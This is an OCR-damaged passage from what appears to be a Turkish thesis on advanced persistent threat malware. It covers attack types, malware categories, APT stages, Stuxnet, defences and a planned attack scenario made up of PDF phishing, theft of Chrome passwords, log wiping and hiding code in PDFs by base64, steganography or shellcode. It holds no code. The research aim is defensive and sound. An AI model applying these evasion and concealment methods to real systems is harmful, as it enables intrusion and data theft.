Tekrarlama Saldiris1 (Repay Attack): Bu saldirilar haberlesen iki sistem arasindaki
haberlesmeyi kaydedip daha sonra kullanmak {izere saklamak iizerine kurulmustur. Bu
saldirinin tistesinden gelebilmek i¢in zamana bagli bir parametre de8iskeni ya da oturum verisi

kullanilabilir.

Sifreleme, MitM saldirilarina kars1 bagarili bir ¢6ziim olmasina karsin sifrelemeye bagli koruma
yontemlerinin yetersiz kaldigi alanlar ¢ikabilmektedir. Herkese ac¢ik anahtarin (Public key) ele
gecirildigi saldirilarda saldirgan sunucudan gelen mesaj1 herkese agik anahtar ile okuyup daha
sonra degistirip tekrar sifreleyip istemciye gonderebilmektedir. Ozet fonksiyonlar ile dijital
imzaya sahip sifrelenmis paketler ile haberlesme gergeklestirildiginde, sistemler gonderilen

paketlerin degisiklige ugradigini anlayabilmektedir.
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2.4.5 SQL enjeksiyon (SQL injection)

Bu tip saldirilar genelde veri tabani agirlikli calisan sitelerde olmaktadir. SQL sorgusuna
gonderilen degisken, SQL dilinin tiim verileri dondiirecegi sekilde degistirilir. Bu sayede veri
tabani igerisinde gezilebilir. Bu tip saldirilar1 engellemek i¢in sakli yontemler ve giiclii
yetkilendirme sistemleri kullanilmalidir. Bu saldirilar genelde PHP gibi dinamik web

sitelerinde gergeklestirilmektedir.
2.4.6 Indirme Saldiris1 (Drive-by Download Attack)

HTML ya da PHP kodlarina gémiilen ve web sitesine girildiginde kullaniciya sorulmadan
direkt zararli yazilimin indirilmesine sebep olan bir saldir1 ¢esididir. Cogu zararli yazilim bu
sekilde yayilir. Kullanicinin indirmek ya da dosya ¢alistirmak gibi aktif olarak yapmasi gereken
bir sey bulunmaz. Bu tip saldirilardan korunmak igin giincel isletim sistemi ve tarayicilar

kullanilmali, gereksiz uygulama ve eklentiler sistemde barindirilmamalidir.

2.4.7 Sifre Saldiris1 (Password Attack)

Bu tip saldirilar, sosyal miihendislik ile kurbanin masasina bakma ile yapilabilir, kurbanin 6zel

dosyalar1 karistirilarak yapilabilir. Bilgisayarda sifre deneyerek yapilan iki ¢esit saldir1 vardir.

Kaba Kuvvet Saldirisi: Bu saldirida sifre rasgele tahminlerle ¢cok fazla mantik eklenmeden

denenerek aranir.

Sozliik Saldirisi: Bu saldirida kurbanin ya da baska kurbanlarin daha 6nce kullandigi sifreler

veya bu sifrelerle olusturulabilen kombinasyonlar denenir.
2.4.8 Telekulak Saldirisi (Evesdropping)

Ag trafiginin dinlenmesi ile gergeklestirilir. Kisinin kredi karti, kimlik bilgileri gibi kritik
verilerin ¢calinmasi saglanabilir. Aktif ve pasif telekulak saldiris1 vardir. Pasif saldirida sadece
ag trafigi dinlenerek veri elde edilir. Aktif saldirida saldirgan veriyi kullanarak kendisini dost
birim olarak tanitir ve sunucuya veri isteginde bulunur. Bu isleme problama (probbing) , tarama
(scanning) ya da kurcalama (tempering) denir. Pasif telekulak saldiris1 daha tehlikelidir ve

tespiti daha kritiktir. Sifreleme yontemleri ile 6niine gegilebilir.
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2.4.9 Dogum giinii Saldiris1 (Birthday Attack)

Bu saldir1, 6zet fonksiyonlarmi asmak igin kullanilir. Ozet fonksiyonunun veriyi kullanarak
tirettigi 6zetin aynisini ¢gikartan baska bir veri tespit edilmesi gerekir. Bu sekilde dijital imza

baypas edilerek saldirganin verisi sistem tarafindan gergek veri kabul edilebilir.
2.4.10 Zararh Yazilhim Saldiris1 (Malware Attack)

Bilgisayarda istenmeyen ve kullanicinin rizasi disinda sisteme yiiklenen yazilimdir. Yararh bir

kodun igerisinde gizlenmis, ya da yararli bir yazilimin i¢ine eklenmis olabilmektedir.
En bilinen zararli yazilim tipleri asagida aciklanmistir:

e Viriis, yiiriitiilebilir dosyanin ¢alistirilmasi ile ¢aligmasi tetiklenen, barindig1 ortamdan
baska ortamlara transfer olma amacgli ve veri ya da donanim hasar1 vermek iizere
tasarlanmis zararh koddur [11].

e Makro Viriis, Microsoft Word ya da Excel gibi uygulamalarin baglangi¢ sirasinda
calistirilan kodlarin oldugu kisma eklenmis viriislerdir. Kendini ¢ogaltip baska
bilgisayarlar bulagabilmektedir.

e Dosya Viriisii (File Infector), yiiriitiilebilir dosyalara bulasan viriislerdir. Yiirttiilebilir
dosya calistirildiginda viriis kodu beraberinde ¢alisir.

e Polimorfik Viriis, zararli kodun bir¢ok sifreleme ve sifre ¢6zme isleminden gegmesiyle
olusur. Her mutasyon dongiisiinde yeni bir sifreleme rutinine sahip olur. Tespit edilmesi
zordur ama kodda olusan yiiksek entropi ile tespit edilebilir.

e Gizli Viriisler, sistemdeki zararl1 yazilim tespit sistemini bozarak ¢alisir. Tespit sistemi
yanlis alarmlar verir.

e Kurt, Agda ve sistemde kendi kendini kopyalayarak kullanici tarafindan tetiklenmeye
ihtiya¢c duymadan yayilma amagl yazilan donanimsal ya da veri hasar1 vermek iizere
tasarlanmis zararl koddur [12].

e Truva Ati, mesru bir yazilimin igine gizlenmis, calistirildigi sistemde tam yetki
saglamak amaci ile hazirlanmig zararli yazilimdir. Genelde sosyal miihendislik ile
kandirilan kullanicilar tarafindan bulagtirilir [13].

e Reklam Yazilmi (Adware), otomatik olarak reklam materyalleri gosteren ya da

indiren yazilimdir. Kullanicinin rizasi diginda ¢alisip sistemde yayilmaya calisir.
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e Casus Yazihm (Spyware), bilgisayardan gizlice verileri alip saldirgana yollayan
kurbanin gizlice izlenmesi ilkesine dayanan zararli yazilimdir.

e Kok Dizin Ekipmam (Rootkit), tespit edilmeden sistem iizerinde tam uzaktan kontrol
saglayan zararli yazilimdir. Sistem aktif olmadan aktif hale gelir, bu yiizden tespiti
zordur.

e Sistem Baslangic Kaydi Viriisii, sabit diskin basina yerlesir ve sistem baslamadan
zararli kodun hafizaya yiiklenmesini saglar.

e Fidye Yazilinm (Ransomware), adi iizerinde, sistemin diizgiin ¢alismaya devam
edebilmesi icin fidye talep eden zararli yazilimdir. Kullanicinin sistem iizerindeki
yetkisini ya da veriler iizerindeki erisimi engelleyerek ¢alisir. Odeme yapildiktan sonra
blogun kaldirilacagini iddia eder.

e Mantiksal Bomba (Lojik Bomb), belli mantiksal kosullar gerceklestiginde calisan
zararl yazilimdir.

e Damlahk (Dropper), sisteme zararli yazilimin indirilip yliklenmesini saglar. Zararl
kod igermedigi i¢in giivenlik yazilimlari tarafindan tespit edilmezler.

e Tus Kaydedici (Keylogger), kullanicinin sistem iizerinde yaptig1 tiim klavye ve fare
basma hareketlerini kaydeder ve saldirgana ulastirir.

¢ Botnet, saldirgan sistemde tam kontrol saglar. Tam kontrol saglanmis sistemler ile bir
ag olusturur. Agdaki her sistem bot olur. Bu ag, viriis yaymak i¢in, zararli eposta
gondermek i¢in ve diger zararli gorevler icin kullanilir. Dagitik Servis Engelleme

(DDoS) saldirilar1 genelde botnet kullanilarak yapilir [14].
2.4.11 Siteler Arasi Betik Calistirma Saldiris1 [15]

Bu saldirilara XSS saldiris1 da denmektedir. Kurbanin ¢erezler (cookie) verilerini ¢alip bu
sayede oturum verilerine erisme amaclh bir saldindir. Ik 6nce saldirgan betik enjekte
edebilecegi, acig1 olan bir web sitesi bulur ve sitenin veri tabanina yerlestirir. Siteye birisi
girdigi zaman, giris yapan kisiye site tarafindan zararli kod gonderilir. Bu kod calistirildiginda
siteye giris yapan kisinin ¢erezler verileri saldirgana gonderilir. Saldirgan bu verileri oturum

a¢gmak i¢in kullanir.

Bu saldirgan bazen agiga bagli olarak; ag baglantisini ele gecirmek, klavye kaydi tutmak veya

sistemi uzaktan sistemi ele gecirmek gibi siber saldir1 gergeklestirebilmektedir. VBScript,
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ActiveX ve Flash gibi tarayici iizerinden ¢alisan diger platformlar ile de bu saldir

gergeklestirilebilmekte fakat en ¢ok javascript kullanilmaktadir.

Bu saldiriya kars1 6nlem olarak kullanici tarafindan gonderilen tiim girdiler arindirilarak isleme

almabilir. Ozel karakterler tespit edilebilir.

2.5 APT’NIN DIGER ZARARLI YAZILIMLAR ARASINDAKI YERI

APT yaziliminin yukarida anlatilan saldir1 c¢esitleri ve zararli yazilim c¢esitleri arasinda
benzemesi gereken ve benzememesi gerekenler vardir. Mizrak oltalama saldirisi ile bulasir.
Dosya eki ile gonderilmis makro virlis ile bulasir. Bu makro viriis bir damlalik (dropper)
ozelligindedir. Asil zararli kodun bilgisayara indirilip ¢alistirilmasini saglar. APT yazilimi ¢ok
bicimli (polimorfik) viriis, tus kaydedici (keylogger), truva ati, cok bicimli viriis, gizli viriis
ozelliklerini tasir. Casus yazilimdir. Gizlice veri kagirma temellidir. Truva ati gibi masum
goriinen bir mail veya yazilim araciligi ile bulasip sistemde arka kap1 (backdoor) acip uzaktan
kontrol saglanmasinda kullanilabilir. Kurt gibi ag iizerinde yayilmali, kendi kendine
caligmalidir. Reklam zararl yazilimi (Adware) ve fidye yazilimi (ransomware) gibi davranmaz.

Asla tespit edilebilmesine sebep olacak bir islem yapmamalidir.

2.6 APT’NIN DIGER ZARARLI YAZILIMLARDAN FARKI

APT yaziliminin en 6nemli 6zellikleri; zararli yazilim tespit yazilimlari ile tespit edilememesi,
sofistike yontemler kullanarak sistemde yetkisini arttirmasi, anomali tespit yazilimlari, sanal
ozel ag (VPN) veya beyaz liste (whitelist) gibi giiclii veri gilivenligi onlemlerinin alindigt

sistemlerden veri sizdirabilmesi ve sistemde ¢ok uzun siire boyunca sessizce beklemesidir.

Bir¢ok zararli yazilim; zararl1 aktivite ya da zararli kod barindirmasi gibi sebeplerle veya imza
tabanli tespit sistemleri ile anti virlis programlari tarafindan yakalanmakta ve etkisiz hale
getirilebilmektedir. APT yazilim1 bu tespit sistemleri tarafindan tespit edilememekte ve ancak
kullanicinin  sistem {izerinde c¢alisan programlar iizerinde yapacagl arastirma sonucu

bulunabilmektedir.

Bu yazilimlar, sistemde yetki yiikseltmek ve sistem kaynaklarini kullanabilmek icin sifir giin
(zero day) aciklar1 kullanirlar. Kullaniciya bagl giivenlik agiklarmi deneyebilirler. Bir amag
icin ¢ok sayida farkli yolda saldir1 kodu tasirlar. Kullanici, giincellemeler ile agig1 kapatsa bile
baska bir agik lizerinden saldirn siirdiiriilebilir. Bazi  APT  virlisleri  kendini

giincelleyebilmektedir.
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Anomali tespit sistemlerine takilmamak i¢in kullanic1 davraniglarini, isyerinin en islek oldugu
zamanlari, trafigin islek oldugu tarihleri kaydedip veri s1izdirma islemini veya sistem {izerinde

caligsmasini normal davranis tespitlerine gore gergeklestirebilir.

Veri sizdirabilmek i¢in, APT zararli yazilimlari; veriyi harici bellek, agda yer alan bagka bir
bilgisayar gibi farkli ortamlara kopyalayip bu ortamlardan disariya gonderebilirler. Veriyi
sizdirabilmek i¢in Google servisi gibi servis sunucular1 kullanarak giivenli sayilan alan adlar

tizerinden veri gonderebilirler.

Bir zararli yazilimin APT sayilabilmesi i¢in en az bir sene boyunca sistemde gizlice bulunmasi
beklenmektedir. Cogu APT yazilimi, ortaya ¢ikisindan en az iki sene sonra tespit edilmektedir.
Giivenlik yazilimlar, APT viriisiinii tespit edemez. Viriis bulma amaciyla ve ¢ok detayli bir
sekilde sistemde; calisan programlarin gozlemi yapilmadigi slirece APT viriisiiniin tespit

edilememesi beklenir.

2.7 APT’NIN TEMEL OZELLIKLERI

APT (Advance Persisten Threat) yani GSS (Gelismis Siirekli Saldir1); bir devlet veya giiclii bir
organizasyonun fonlamasi ile sofistike yazilim gelistiriciler tarafindan programlanan,
Ozellesmis bir siber saldir1 gorevini gergeklestirmek lizere yapilan, bir sistemde en az 1 sene
boyunca gizlice caligmasi beklenen, hi¢cbir giivenlik yazilimina takilmayan ve bulasgtigi sisteme
uzaktan erisim saglayan veya sistemde bulunan hassas verileri uzak sunucuya gonderebilen

zararl yazilimdir.

Gelismis (Advanced): Yazilim, sofistike yazilimcilar tarafindan ¢ok giiglii ekonomik destekler
ile gerceklestirilir. I¢inde ayn1 islemi yerine getirmek iizere birden fazla sifir giin (zero day)
acig1 kullanabilen istismar yazilimi (exploit) bulunmaktadir. Béylece ayni islem bir kanaldan

engellenirse baska kanallarla yine gerceklestirilebilir.

Siirekli (Persistent): Bir sistemde en az bir yil ¢alismasit beklenen yazilimin, higbir IDS ve IPS
sistemine takilmamasit beklenir. Giivenlik duvart ve Anti virlis yazilimlarindan da

etkilenmemesi gerekmektedir.

Saldir1 (Threat): Bu saldiriy1 diger saldirilardan daha sofistike yapa sey, hassas verileri galmaya
yonelik ¢ok genis kapsamli bir ¢alisma olmasidir. Saldiri; devlet sirlari, askeri sirlar ya da ¢ok

yiiksek ekonomik degeri olan sirlar1 calmak i¢in tasarlanmistir.
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APT terimi ilk kez US hava kuvvetleri tarafindan 2006 da ortaya ¢ikmis ve National Institute
of Standards and Technology (NIST) tarafindan tanimlanmistir [16] .

2.8 APT SALDIRI YAPISI
Bir APT saldirisi, baglangigtan bitimine kadar ¢ok iyi kurgulanmakta ve ince detaylar

diistiniilerek hazirlanmaktadir [17] [18].

2.8.1 Hedef Belirleme

Kotli amach organizasyon, saldirinin gergeklestirilecegi kurumu tespit eder.
2.8.2 Su¢ Ortaklarinin Bulunup Organize Edilmesi

Saldir1 bir kisi ya da herhangi bir gurup ile gergeklestirilemez. Sofistike, sessiz ve uzun stireli
bir salkidi i¢in saldirinin her asamasinin diisiiniiliip ayarlanmasi gerekir. Bunun ig¢in farkli

disiplinlerden kisiler ve ¢ok iyi yetistirilmis siber saldirganlara ihtiyag¢ vardir.
2.8.3 Kullamlacak Yazilimsal Arag¢larin Gelistirilmesi ve Elde Edilmesi

Saldir1 i¢in yapilan plana gore saldirtyr gergeklestirmeyi saglayacak zararli yazilim,
haberlesecegi uzak sunucu, yazilimin kontrol edilecegi uzaktan kontrol programi gibi araglar
gelistirilir ve disaridaki bir baglant1 izerinden sifir giin (zero day) acig1 6grenilir. Bu tip aciklar

internet lizerinden para karsilig1 satilabilmektedir.
2.8.4 Hedef Organizasyon Altyapis1 / Cahisanlarimi Arastirma

Saldirinin yapilacagi organizasyon hakkinda elde edilebildigi kadar veri toplanmaya c¢alisilir.
Burada kullanilan giivenli yazilimlar, saldir1 tespit sistemleri, ¢alisma ortamindaki kisitlar
ogrenilir. Bu kurumda ¢alisan kisilerin sosyal hesaplari, yetkileri, kurumdaki gorevleri ve

iletisim adresleri gibi kisisel bilgileri i¢in aragtirma yapilir.
2.8.5 Tespit Testi

Yapilan zararli yazilimin higbir sekilde yakalanmamasi icin elde edilen bilgiler kullanilarak
tespit testi yapilir. Zararli yazilimin higbir sekilde tespit edilemeyeceginden emin olunana kadar
yazilim gelistirilir. Bunun i¢in zararli kodun sifrelenmesi, stenografi yontemi ile kodun

gizlenmesi gibi yontemler kullanilir. Zararli yazilimin veriyi disar1 sizdirabilmesi i¢in tiim
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giivenlik asamalarint gectiginden emin olunur. Kullanici davranist bazli anomali tespiti

yapilamayacagindan emin olunur.
2.8.6 Yazilimin Kullanima Hazir Olmasi

Hangi verinin kacirilacagi, uzaktan kontrol, yetki yiikseltilmesi, glivenlik yazilimlarindan
gizlenme, saldirilacak kisiye gonderilecek mizrak oltalama saldiris1 gibi asamalarin tamami i¢in

gerekli yazilimlar kullanima sunulur.
2.8.7 I1Ik izinsiz Giris

Sisteme ilk izinsiz giris denemesi yapilir. APT saldirilarinin %94°i mizrak oltalama saldirisi
ile gerceklestirilir [19]. Sosyal miihendislik bu kisimda 6nem tasimaktadir. Saldir1 i¢in segilen
en uygun kisinin kisisel bilgilerine gore hazirlanmis inandirict bir eposta ile kurbanin
gonderilen dosyay1 agmasi i¢in kandirilmasi amaglanir. Kurban postay: actiginda posta igine
eklenebilecek PDF belgesi ya da Word dosyasi iginde yer alan betigin zararl yazilimi indirip

calistirmasi beklenir.
2.8.8 Dis Baglantimin Baslatilmasi

Saldirida her sey yolunda giderse zararli yazilim sisteme indirilir ve ¢alismaya baslar. APT
yazilimlarinin ¢ogu uzaktan erisim imkani sunmaktadir. Fakat bu baglantiy1 her zaman kurmaz.
Dis baglantilarin en ¢ok yapildig1 saatte yada anomali tespit sistemlerinin anomali tespit

edemeyecegi zamanlarda baglant1 kurulmasini saglar.
2.8.9 Erisimin Arttirilmasi ve Verilere Erisim

Yazilim sistemde ¢alisip uzak baglantiya izin verdikten sonra uzak kullanicinin kararlarryla

veya yazilim kendi kendine sistemde yetki kazanir. Hedeflenen verilere erisim saglar.
2.8.10 Tutunma Noktasinin (Foothold) Arttirillmasi

Yazilim birden fazla yontem kullanarak sistemde varligini siirdiirebilmek i¢in islem yapar.
Tespit edilme ihtimali, glincellemelerle erisimin ve yetkilerinin kisitlanma ihtimaline kars1

farkli yontemlerle yetki saglar.
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2.8.11 Veri S1izdirma

Yazilim sistemde tam yetki ve erigim saglamistir. Uzun siire bekleyip elde ettigi verileri digsariya
gondermeye hazirdir. Disariya veri sizdirabilmek i¢in glivenli sayilan alan ad1 adresleri kullanir.
Veriyi sifreler. Birden tiim veriyi gondermez. Parca parca ve sessizce, sistemde higbir alarm

olusturmadan gonderir.
2.8.12 izlerin Kapatilmasi ve Tespit Edilmeden Durma

Zararli yazilim tiim bu iglemleri yaptiktan sonra sistemde varlig1 hakkinda bir bilgi birakmamak
icin olabilecek tiim izleri siler. Sistem giinliik kayitlari, uygulama takip yazilimlari gibi

ortamlarda iz birakmaz.

2.9 APT ZARARLI YAZILIMININ TARIHI

[k kesfedildikleri yila gore bazi popiiler APT yazilimlari listelenmistir. Bu yazilimlarm ¢ogu
kesfedildikleri yildan ¢ok daha erken dénemde aktif calismustir. Ornegin Red October zararh
yazilimimnim 2007’den [20] itibaren aktif oldugu disiiniilmektedir. Cogu yazilimin (Red
October) arkasinda kimin oldugu bilinmemektedir. Viriislerin ¢ok biiyiik bir kismi1 sisteme e-
mail yolu ile bulagsmistir. Bazi zararli yazilimlar mobil cihazlar1 da etkilemektedir. Yillar

ilerledik¢e yazilimlarin mimari karmasikliklari ciddi seviyelerde katlanmaktadir.
2.9.1 Stuxnet Zararh Yazilim

Stuxnet viriisii Iran niikleer programinda yer alan on besten fazla niikleer santrale bulasmistir.
Natanz santralinde fiziksel hasara sebep olan bir APT saldmrsidir. ilk kez VirusBlokAda
giivenlik sirketi tarafindan 2010 yilinda tespit edilmistir. Niikleer santraldeki rasgele bir
calisanin USB belleginden bulastigi tahmin edilmektedir. Viriisiin bulundugu bilgisayara bir
USB bellek takildiginda viriis kendini bellege kopyalamakta ve bellegin takildigi herhangi bir
bilgisayara bulagmaktadir. Uranyum zenginlestirmesinde kullanilan 1000 adet santrifiij
makinasinin hizin1 arttirarak motorlarinin zarar gérmesine sebep olmustur. Aradaki adam
saldiris1 yaparak, giivenlik yazilimlar tarafindan tespit edilmeden endiistriyel islem kontrol
sistemlerinin sensor verilerini taklit etmistir. Boylece enfekte sistemler anormal davranis

gostermeyip kapatilmamustir.
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Tespit edilmesinin sebebi, viriisiin hedeflenen sistemin disina yayilmasidir. Bir giincelleme
sonucu viriiste olusan bir hata viriisiin santrifiij cihazlarina bagl bir bilgisayara kopyalanmasina
sebep olur. Bilgisayar sahibi miihendis evine gidip bilgisayar1 internete baglar ve viriis daha da
yayllmaya baglar. Viriisiin tespit edildigi donemde Stuxnet kaynakli oldugu diisiiniilen bir

DDoS saldirisi ile santraldeki mail akisi kesilmistir.

Viriis yaklasik 500 KB boyutundadir. Root-Kit seklinde veya isletim sistemi iizerinde
calisabilmektedir. Ug asamali calismaktadir. Oncelikle sistemdeki Windows cihazlan
taramakta, daha sonra kendini bu cihazlara kopyalamaktadir. Ardindan Siemens Step 7
yazilimini arastirmaktadir. Programi bulursa bu program iizerinden niikleer santraldeki
endiistriyel birimlere erisim kazanmaktadir. Bu son asama sayesinde niikleer santraldeki

endiistriyel cihazlarin kontrolii ele gegirilmekte ve verisi toplanabilmektedir [21].

Tablo 2.1: 2015’e kadar Tespit Edildikleri Yillara Gore Popiiler APT Yazilimlar1 ve Amaglar

Yih Adi Amaci

2009 Operation Aurora Casusluk

2010 Operation Ke3chang Casusluk

2010 Stuxnet Sabotaj

2011 Duqu Casusluk

2011 RSA Breach Casusluk

2011 Night Dragon Casusluk

2012 Flame (Skywiper) Casusluk

2012 Red October (Rocra) Casusluk — Arka kap1
2014 Operation Snowman Casusluk - Sabotaj
2015 Lurk Casusluk

2.10 APT YAZILIMINA KARSI GUVENLIK ONLEMLERI

Siber giivenlik toplulugu igerisinde higbir sistemin yiizde yiliz giivenli olmayacagi kabul
edilmektedir. Yayimlanan ¢ogu makalede APT saldirilarinin tamamen engellenmesinin
miimkiin olmadig: iizerinde durulmaktadir. Bu sebeple 6nemli olanin saldirtyr engellemek
yerine zarar1 en aza indirmek oldugu vurgulanmaktadir. Bunun i¢in gerekli kisitlamalar ve bazi
protokoller belirlenmistir. Ornegin beyaz liste (whitelist) yontemi, veri giivenligi saglamak i¢in

en ¢ok tavsiye edilen yontemdir. Bunun disinda SIEM uygulamalar tavsiye dilmekte yada
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gelistirilmekte, APT saldirilar1 izerinden yapilan siniflandirmaya gére anomali tespit sistemleri

diizenlenmektedir [22].
2.10.1 Cahsanlarin Egitilmesi

Cogu sirket, siber giivenlige diisiik onem vermektedir. Ayrica diisiik seviyeli ¢alisanlarini
bilgilendirme ve egitimlerine de 6zen gostermemektedir. Calisanlarin gozlerini agmasi igin
egitimler yapilmali ve araliklarla oltalama saldiris1 simiilasyonlar1 diizenlenmelidir. En giivenli

sistemde bile en biiylik giivenlik a¢1g1 insan faktoriidiir.
2.10.2 Erisim Kontrolii

Erisim kontrolii, viriisiin 6zel verilere erismesine engel olabilir. Erisim kontrolii yazilimlari,
cesitli yetkilendirme 6zelliklerinin yaninda gilincellenmemis uygulamalarin erisimlerini
engelleme gibi 6zelliklere de sahiptir. Bu sayada APT viriisiiniin yayilmasi engellenebilir. Bu
uygulama i¢in 6nerilen sistem Ag Erisim Kontrolii (NAC, Network Access Control) ve Kimlik
ve Erisim Yonetimi (IAM, Identity and Access Management) yazilimlaridir. Kimlik ve erisim

yonetimi yazilimlari ile oturum verileri ¢alinarak sistemden sisteme gegis engellenebilir.
2.10.3 Yonetici Kontrolleri

Viriislin hatali kodlama sayesinde olusan agiklardan dolay1 yayildigi diisiiniiliirse, zafiyet
degerlendirmesi yapilmasi ve yamalarin diizenli kontrolii zorunluluktur. Kullanic1 erisim
yonetimi titizlikle yapilmalidir. Sadece yonetici ve kalifiye calisanlara sistemde yonetici olma
yetkisi verilmelidir. IDS ve IPS yazilimlari, olasi tehlikelere karsi uyari ¢alisanlarin ¢abuk
onlem almasini saglayabilir. Gilivenlik duvari ile sistem gilivenligi bir parga daha arttirilabilir.
Yine de bu ¢oziimle kesin sonu¢ veren c¢oziimler degildir ve sadece bu c¢ozlimlere

giivenilmemelidir.
2.10.4 Sizma Testi

APT saldirisinda neler olabilecegi ile ilgili fikir edinebilmek i¢in sizma testleri yapilmasi
gerekmektedir. Boylece zararin nasil en aza indirilebilecegi hakkinda fikir yiiriitiilebilir.
Diizenli olarak bu tip ¢alismalarin yapilmasi, organizasyondaki calisanlarin da daha dikkatli

olmasini saglamaktadir.
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2.11 APT TESPITI

Bazi araglar kullanilarak sistemde APT olup olmadigi ile ilgili fikir sahibi olunabilmektedir.
2.11.1 Kullanic1 Davrams Analitigi

Kullanici ve varlik davranis analiz programlart ile kullanici davranisi izlenir ve kullanicinin
normal davranist disinda olusan olaylarin anormal olaylar olarak ayrilmasi ile izinsiz aktivite

saptanabilir.
2.11.2 Aldatma Teknolojisi

Bu teknigin amaci, saldirganin davraniglarini izlemek ve sistemde bir saldir1 oldugunu tespit
etmektir. Saldiriya agik sahte is istasyonlar1 aga dahil edilerek olasi saldirida yapilacak
hareketlerin kaydi, neler yapildigi, izlenen strateji ve dldiirme zinciri (kill chain) elde edilir.
Ayrica saldirgana sahte bilgi vererek hatali davranig yapmasi, saldirganin kendini ele vermesi

ve saldirganin bosuna gayret sarf etmesi saglanir.
2.11.3 Ag izleme

Ag hareketleri lizerinde anomali davranis tespit programlari ile siipheli islemler, heniiz ciddi
bir zarar vermeden yolun basinda yakalanabilir. Bu sistemler ag paketlerindeki adres ve hedef
IP adresi, paket igerigi, sifrelenmesi, tarihi gibi birgok Ozellige bakarak kategori

olusturmaktadir.

2.12 APT SALDIRILARINA KARSI COZUMLER

Cogu glivenlik sirketi, bir seviyede APT saldirilarina kars1 ¢oziim tirettiklerini iddia etmektedir
fakat yapilan caligmalar, giivenlik dnlemlerinin yeterli olmadigi yoniindedir. APT saldirilart ile
miicadele etmek, bircok farkli acidan bakis agisi, teknik ve arag gerektirmekte ve bunlari
beraber calismasi ile basaridan s6z edilebilmektedir. APT saldirilarina karsi ¢o6ziim sunan bazi
sirketler: Baracuda, Cisco, Fidelis, FireEye, Forcepoint, Fortinet, Kaspersky, McAfee, Red
Canary, Symentac, Sophos, Trend Micro ve Webroot olarak listelenebilr.
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3. MALZEME VE YONTEM

Bu ¢alismada 6rnek bir APT yaziliminin gelistirme asamalarinda karsilasilan siirecler ve tiim
ozellikler goze alindiginda bu ve buna benzer yazilimlarin nasil ellenebilecegi tartigilacaktir.

APT yazilimlarina kars1 bir glivenlik yazilimi tasarimi gerceklestirilecektir.

Bu sebeple oncelikle 6rnek APT saldir1 senaryosu iizerinde durulacaktir. Daha sonra
senaryonun gerceklesmesi i¢in gerekli teknik bilgiler tizerinde durulacaktir. Sonunda tiim bu
bilgiler 1518inda APT yaziliminin zarar vermesini engelleyecek bir giivenlik yaziliminin

ozellikleri ve teknik 6zellikleri anlatilacaktir.

Gilivenlik yazilimi olarak Windows 10 isletim sisteminde bulunan Windows Defender Anti
Viriis programi tercih edilmistir. Windows 10 2015 ve Windows 10 2018 siiriimleri tizerinde

caligmalar yapilmistir.

3.1 SALDIRI SENARYOSU

APT saldiris1 hedef belirleyerek baslamaktadir. Siber saldirilar siber saldir1 eylemcisi
(hacktivist) denen toplumun dikkatini bir konuya ¢ekmek isteyen kisi veya kisiler tarafindan
gerceklestirilebilecegi gibi sadece eglence amaciyla da gergeklestirilebilmektedir. Zarar
vermek veya kredi karti verisi gibi 6zel verileri c¢alarak maddi amac¢ giidiilerek
gerceklestirilebilir. APT saldirilar ise biiylik organizasyonlarin veya devletlerin biiyiik fonlarla
yetkin kisileri kullanarak sofistike yazilimlar gelistirmeleri ve bilgi ¢alma amaclh
gergeklestirilen uzun soluklu ve sessiz saldirilardir. Hedef kurumsal bir sirket bilgisayarindan

veri kacirmak olarak kurgulanmistir.

APT viriisleri %94 {istli bir oranla [19] mizrak oltalama saldiris1 (spear phishing attack) ile
bulagsmaktadir. Bunun sebebi saldirganlarin sosyal miihendislik ¢alismalariyla viriisi
bulastiracaklar1 kisi hakkinda 6zel ¢alisma yapmalar1 ve viriisiin bilgisayara yerlesmesi i¢in
gerekli islemi yaptiracak inanci yaratmalari gerekliligidir. Bu saldiriy1 gergeklestirmeden 6nce,
saldirganlar kurum ve c¢alisanlar1 hakkinda veri toplarlar ve sosyal miithendislik kullanarak
gonderilecek maile en ¢ok inanip maili agacak kisiyi segerler. Mail ile gonderilecek PDF veya

DOCX uzantili dosya igerisinde zararli yazilimi indirip ¢alistiracak bir betik gizlenecektir.

Ardindan, ¢aligtirilan zararl kod, sistemde yiikseltilmis yetki almaya ¢aligsmalidir ve bunun igin

birden fazla yontem denemelidir.



24

Calinacak veri olarak Google Chrome tarayicisinda bulunan kullanici sifreleri ve cerezler

sec¢ilmistir. Bu verilerin erisilip sifrelerin kirilmasi1 gerekmektedir.

Verileri elde eden viriis, bu verileri IDS sistemlerine yakalanmadan giivenilir goriiniimlii yollar

kullanarak uzak sunucuya aktarmalidir.

Zararl yazilim, sistem olay giinliik kaydinda kendi ile ilgili kayitlar1 silmelidir. Calismasi

hakkinda iz birakmamalidir.
3.1.1 PDF Belgeleri i¢ine Zararh Kod Eklenmesi:

PDF dosyas1 4 kisimdan olusur. Bunlar baslik (header), govde (body), referans tablosu (cross
referance table) ve tanitim (trailer) kismidir. Body kismina nesneler, kodlar, kelime dizileri
(stringler) eklenebilmektedir. Acrobat Reader’in eski siiriimlerinde bu kisimlara komut satiri
tizerinden kod calistirilmasini saglayan kod eklendiginde kod giivenlik énlemine takilmadan
calistyordu. Yeni nesil tarayicilar bu tip komutlar1 ¢alistirmamakta ve kullaniciya calistirilip

calistirllmamasi i¢in se¢cenek sunmakta.

PDF belgeleri i¢cinde zararli yazilim saklanmasi i¢in zararli kodun base64 kodlama yontemi ile
saklanmasi diislintildi. Yapilan arastirma ile tespit edilen en gilincel yontem; PDF belgesinin
icine dosya simgesi dosyalar1 eklenmekte ve zararli kodlar stenografi yontemi ile resim igine
gizlenmektedir. PDF belgesi i¢ine yerlestirilen kod kiitiiphanesi ve fonksiyonlarla, resim

dosyasi i¢cinden zararl kod ¢ikartilip okunmakta ve calistirilmaktadir [23] [24].

Bir diger yontem, PDF belgesi icerisine dogrudan javascript kodu yerlestirmektir fakat bu
yonteme karsi cok sayida onlem alinmistir. Zararli betigin igerigini gizlemek icin base64

kodlamasi kullanilir. Calistirilacagi zaman base64 kodlamasindan ¢oziiliir ve ¢alistirilir.

Baska bir yontem, zararli kodun PDF belgesi i¢ine eklenmesi yerine yiiriitiilebilir dosyanin PDF
belgesi ile birlestirilmesidir. Bu yontemde PDF belgesi calistirildiginda yiiriitiilebilir dosya da
beraberinde calistirilmaktadir. Bu yontem gilincel giivenlik yazilimlar1 tarafindan

engellenmektedir.

Bir baska secenek iste PDF belgesinin body kismina kabuk kodu (shellcode) eklenmesidir. Bu
yontem ile PDF calistirildiginda bir yandan da body kismina eklenmis kod, komut satir1 kodu

calistirmaktadir. Bu yontem Kali Linux {zerinde bulunan Metasploit programi ile
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gerceklestirilebilmektedir. Kullanilan kodlara gore tespit edilme ihtimali bulunan bir

yontemdir.

